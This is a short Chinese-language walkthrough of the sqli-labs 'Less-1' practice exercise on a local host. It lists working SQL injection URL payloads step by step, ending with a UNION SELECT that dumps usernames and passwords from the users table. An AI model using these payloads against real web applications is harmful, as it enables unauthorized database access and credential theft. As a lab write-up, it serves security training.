1.判断字符型还是整型注入
http://127.0.0.1/sqli/Less-1/?id=1 正常
http://127.0.0.1/sqli/Less-1/?id=1 and 1=1 与上述一样
http://127.0.0.1/sqli/Less-1/?id=1 and 1=2 与上述一样
由此可以判断不是整型注入
http://127.0.0.1/sqli/Less-1/?id=1%27%20and%201=1%20–+ 与上述一样
http://127.0.0.1/sqli/Less-1/?id=1%27%20and%201=2%20–+ 异常
由此可以判断存在字符型注入
2.使用order by查询该数据表的字段数量
http://127.0.0.1/sqli/Less-1/?id=1’ order by 3 --+ 正常
http://127.0.0.1/sqli/Less-1/?id=1’ order by 4 --+ 异常
由此判断存在3个字段
3.判断数据呈现位置
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,3 --+
根据结果,判断数据呈现位置为2,3
4.获取数据库名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,(database()) --+
5.获取数据库表名
在mysql中,可以通过查询information_schema表来获取响应的数据库表名和字段名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+
通过结果可以获得相应的数据库表名
6.获取字段名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’) --+
通过结果可以获得响应的字段名
7.获得数据
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,(select group_concat(username,0x3a,password) from security.users) --+
最终获得数据